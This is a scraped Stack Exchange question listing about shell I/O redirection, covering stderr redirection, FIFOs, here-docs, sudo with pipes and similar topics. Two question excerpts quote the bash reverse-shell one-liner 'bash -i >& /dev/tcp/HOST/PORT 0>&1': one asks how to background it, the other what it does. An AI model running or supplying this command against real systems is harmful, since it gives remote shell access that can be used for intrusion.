io redirection is the process of changing where the output and input of a program originate

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bash: /home/user/.ssh/authorized_keys: No such file or directory

Create a ssh key: $ ssh-keygen -t rsa –P "" Moving the key to authorized key: $ cat $HOME/.ssh/id_rsa.pub >> $HOME/.ssh/authorized_keys bash: /home/user/.ssh/authorized_keys: No such file ...
5
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3answers
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stdin, stderr, redirection and logs

Is there a difference between those two lines ? /home/user/script.sh >> /home/user/stdout_and_error.log 2>&1 /home/user/script.sh 2>&1 >> /home/user/stdout_and_error.log ...
3
votes
1answer
410 views

Prevent hanging of “echo STRING > fifo” when nothing is reading that FIFO

When I echo something to a named pipe made with mkfifo, it hangs if no process is reading from that pipe. How can I prevent that, i.e., stop that from hanging? And by the way, why is that hanging ...
1
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2answers
117 views

How to properly launch a program and make possible to redirect its running output (stdout and stderr) at a later stage?

The problem is quite simple: I find useful to have the possibility to switch on (and off) the output of some running program in each moment I need. To be more precise I want to be free to redirect ...
23
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1answer
614 views

How do I redirect command completion output?

On the command line, I can redirect or pipe output of a command to a file or another command using the > or | operator after the command. I have come across a less standard situation that I would ...
11
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3answers
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tee stdout to stderr?

I'd like to send stdout from one process to the stdin of another process, but also to the console. Sending stdout to stdout+stderr, for instance. For example, I've got git edit aliased to the ...
3
votes
2answers
125 views

Redirect the output of a command in `time command`

I am trying to time something using: /usr/bin/time myCommand However, since /usr/bin/time writes to stderr, if myCommand also writes to stderr, I will get more than just time's output on the ...
3
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1answer
3k views

Linux : how to redirect stdout & stderr to logger?

I have a program I need to run at startup, it has output on stdout and stderr that I want to redirect to the system log using the logger command. What I have in my startup script is thie: ...
2
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2answers
236 views

Linux Shell fundamentals: How can I check the file descriptors status, (where are redirected to) right now without lsof?

I am learning about file descriptors for the case of Linux, and I was wondering if there is any command showing a complete list that allows me to know where is each one redirected to in this moment. ...
8
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2answers
264 views

How do I elevate privileges in the middle of pipeline?

My guess was as follows: echo "Generating some text" | su - -c cat >/output/file But su says: su: must be run from a terminal What would you do?
27
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4answers
3k views

What is the correct name for the “>” command

I was trying to find how to pass some text to a file without overwriting what's there already using the > command and I realised I don't know what it's called. Searching for right arrow or right ...
5
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5answers
580 views

Emptying a file without disrupting the pipe writing to it

I have a program whose output I redirect to a log file: ./my_app > log I would like to clear (i.e. empty) the log from time to time (on demand) and tried various things like cat "" > log ...
5
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2answers
127 views

Command substitution vs I/O Redirection?

I am wondered about differences between I/O Redirection and Command substitution? For example when I want to redirect which command output to cd command (I know that it's not a directory) then the ...
2
votes
2answers
193 views

Redirecting only stderr to a pipe

This code snippet is from Advanced Bash Scripting Guide. # Redirecting only stderr to a pipe. exec 3>&1 # Save current "value" of stdout. ls -l 2>&1 ...
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1answer
421 views

Running 'bash -i >& /dev/tcp/HOST/PORT 0>&1' in the background

I want to run bash -i >& /dev/tcp/HOST/PORT 0>&1 in the background at server1. I want to listen to the connection and send commands back at HOST/PORT. So, tcpdump isn't sufficient for ...
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1answer
296 views

Why does redirection in crontab result in a zero byte file?

System: Xubuntu 13.10 When I have this crontab entry */5 * * * * cat /home/dbk/.bash_aliases &> /home/dbk/Desktop/junk junk has a byte size of 0. Running $ cat /home/dbk/.bash_aliases ...
4
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1answer
930 views

What does exec 3<&1 do?

I understand exec can do I/O Redirection on current shell level. but I only sees usage like exec 6<&0 # Link file descriptor #6 with stdin. # Saves stdin. exec 6>&1 # ...
0
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2answers
282 views

How to reset the file descriptor

I was trying to use file descriptor for printing the lines in the file #!/usr/bin/ksh exec 3<&0 exec 0< file.txt while read LINE do echo “$LINE” done and I am done with my code ,it ...
7
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1answer
489 views

Is this redirecting to /dev/null?

I found this script on the arch wiki which prefixes an ffmpeg command like this < /dev/null ffmpeg -i "$a" -qscale:a 0 "${a[@]/%flac/mp3}" I understand the ffmpeg command, it is the < ...
8
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2answers
3k views

Why does 'nohup command >& /dev/null' seem to “work” in some shells?

I edited an answer on Ask Ubuntu that was suggesting the following nohup gedit >& /dev/null & When they actually meant nohup gedit &> /dev/null & The latter correctly ...
0
votes
1answer
181 views

Capture Error of LS to file [duplicate]

#!/bin/sh if [ $(ls sample01.log | wc -l) = 1 ] then echo "File Found" > lsOutput.log else echo "File Not Found" > lsOutput.log fi But if sample01.log is not already existing my code already ...
3
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2answers
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Inconsistencies between redirecting input from file, here docs, and here strings

Why is this inconsistent? I would expect here docs and here strings to be functionally equivalent to redirecting input from a file. $ bash --version GNU bash, version 4.1.2(1)-release ...
4
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1answer
281 views

Why do piping and redirection work differently with here documents?

Combining a redirect with a here document seems logical enough: $ bash > foo <<EOF echo Hello EOF $ less foo Hello But with a pipe it behaves differently: $ bash | tee foo <<EOF ...
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1answer
1k views

Meaning of bash -i >& /dev/tcp/HOST/PORT 0>&1?

I tried this bash -i >& /dev/tcp/HOST/PORT 0>&1, but it does not seem to work behind firewall. What does this code actually do, which ports are forwarded and could it work behind ...
0
votes
1answer
86 views

Prompting when redirecting content of script to remote machine

I have simple script: #!/bin/bash while getopts ":u:" opt; do case $opt in u) USER="${OPTARG}" ;; \?) echo "Unknown flag has been used: -$OPTARG" >&2 exit 1 ...
0
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1answer
55 views

Piped search queries in vim or less

I would like to be able to search a log file for lines that being with ^2014-02-18 15:30:[0-9:,]* and have UserName:someguy much later in the same line. I am sure I could do a regex to include any ...
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1answer
134 views

GoAccess won't redirect its output as a CGI script

I've been pulling my hair with this script: #!/bin/bash echo Content-type: text/html echo "" goaccess -f /var/www/log/access.log -a | tee Which runs perfectly on the command line (generates HTML ...
2
votes
2answers
131 views

Very strange ls > textfile problem when viewing with emacs

I want to list the components of the current working directory in a text file ls -1 > textfile Output looks fine with more. 1010661085645 1010729039145 1010747080245 1010849051345 ...
2
votes
1answer
91 views

< and << in UNIX /Linux

What is the option <<and < are used in linux for??? For example cat << abc.txt I know its a stupid question, but i was not able to search it on google as i did not know what ...
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4answers
58 views

search for multiple condition and then redirect output

How can you search for all lines containing “55=MSFT” and not containing the string “OPEN” in a file, then redirect the output to a file named MSFTFILE?
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2answers
113 views

How can I tell what device or file name I am redirecting to

From within a shell script (sh/bash), how can I tell what device or file name I am redirecting to? For example, I have a shell script named script.sh. I run the shell script and redirect STDOUT to a ...
5
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1answer
143 views

Can redirecting stdout and stderr to the same file mangle lines?

I've read that when redirecting stdout and stderr to the same file using 2>&1, stdout is usually block buffered while stderr is unbuffered. If a very long line is written to stdout, requiring ...
4
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3answers
774 views

Please help explain this bash output redirection

This script was posted as answer to a Question. And I'm trying to work out what's going on. result=$( { { ssh host app-status >&3 3>&-; echo "$?" } | { until read ...
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1answer
192 views

Bash Script which can direct stdin stream to program

I am trying to create a script capable of infinitely processing an incoming stream which is piped to it, and continuous producing an output stream which can be piped to something else something as ...
4
votes
1answer
198 views

Why bzip2 --version behaves strange?

So if I enter the command $ gzip --version | head -n1 everything goes as expected. But if I try the same with bzip2: $ bzip2 --version | head -n1 I get a lot of lines and I have to press Ctrlc ...
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1answer
554 views

How to redirect sqlite3 output to a file

I installed sqlite3 and want to use it to recover information from stylish.sqlite which is located in my Firefox profile folder and is generated by the Stylish extension: $ cd ...
3
votes
2answers
1k views

Save find -exec output to text file

I have a set of videos in the folder. I would like to get the info about this videos using ffmpeg -i command and save the output to file. So I wrote the line: find . -type f -exec ffmpeg -i {} \; ...
2
votes
2answers
63 views

Redirect output half-way through a script, and restore later

I would like to re-direct stdout half-way through a script. How can I do this in Zsh? # Do something # ... # Redirect stdout to a file (e.g. foo.txt) for x in *; print $x; done # Re-direct stdout ...
0
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4answers
671 views

Why does the command shuf file > file leave an empty file?

I know this is sort of a duplicate of another question (Why this sort command gives me an empty file?) but I wanted to expand on the question in response to the answers given. The command shuf ...
1
vote
1answer
307 views

Alias for redirecting both standard output and standard error, as well as sending to background [duplicate]

I am trying to create an alias for redirecting both standard output and standard error of gedit to /dev/null, whilst sending the command to background. This works: $ alias gedit='gedit $1 > ...
1
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1answer
211 views

fg a bg process because you forgot to redirect output to /dev/null

I did Ctrl+Z bg with the intention of disowning next, but I forgot to redirect, now I cant get to my terminal because the scrolling of the output (tarballed a huge directory with verbose set). How do ...
5
votes
2answers
1k views

How to append multiple lines to a file without last newline?

I have a very long string that is split in chunks. I want to append them to a file without putting the newline character using bash. Example: First append cat >> abc.sh << EOL echo "bla ...
4
votes
1answer
79 views

What's the difference between sh script and sh < script

What's the difference between sh myscript and sh < myscript I played around and they seem to have the same effect. Are they equivalent?
2
votes
2answers
239 views

Piping to the command substitution of a string containing pipes

This works— $ x='grep a' $ echo ab | $x ab This doesn't— $ x='grep a | grep b' $ echo ab | $x grep: |: No such file or directory grep: grep: No such file or directory grep: b: No such file or ...
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1answer
84 views

How do I redirect output from a command line app (howie AIML interpreter) to another command line app (espeak)?

I'd like to interact with an AIML interpreter that runs on the command line (Howie) using standard input and have the output played using espeak. I've tried: ./runme.py | espeak --stdin No ...
4
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3answers
1k views

How to output to screen overriding redirection

Is it possible, within a shell script, to write to the screen while STDOUT and STDERR is being redirected? I have a shell script that I want to capture STDOUT and STDERR. The script will run for ...
25
votes
5answers
17k views

Using while loop to ssh to multiple servers

I have a file servers.txt, with list of servers: server1.mydomain.com server2.mydomain.com server3.mydomain.com when I read the file line by line with while and echo each line, all works as ...
2
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2answers
128 views

Error message on terminal despite using 2> symbol

Why does this command show error message despite using 2> symbol? cat < foo 2>bar bash : cannot open foo : No such file or directory
1
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1answer
98 views

Crontab Triple Redirect

I have a very basic understanding of redirects, but I have come across a cronjob with redirects which I do not understand. 00 19 * * 1-5 /apps/app/scripts/doit.sh a np cron > ...
8
votes
3answers
2k views

How do you process an entire command as sudo that involves redirecting or piping?

I am trying to follow what I assume is best practises of using sudo instead of root account. I am running a simple concat file operation such as: sudo echo 'clock_hctosys="YES"' >> ...